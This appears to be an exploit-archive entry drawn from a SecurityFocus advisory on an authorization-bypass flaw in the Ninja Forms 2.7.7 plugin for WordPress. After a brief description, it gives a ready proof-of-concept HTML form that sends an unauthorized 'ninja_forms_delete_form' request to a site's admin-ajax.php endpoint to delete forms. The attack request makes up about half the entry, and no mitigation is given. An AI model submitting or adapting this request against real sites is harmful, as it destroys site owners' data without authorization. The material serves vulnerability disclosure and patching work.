source: https://www.securityfocus.com/bid/69740/info The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks. Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected. <html><body> <form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST"> form id: <input name="form_id" value="1"><br> action: <input name="action" value="ninja_forms_delete_form"> <input type="submit" value="submit"> </form> </body></html>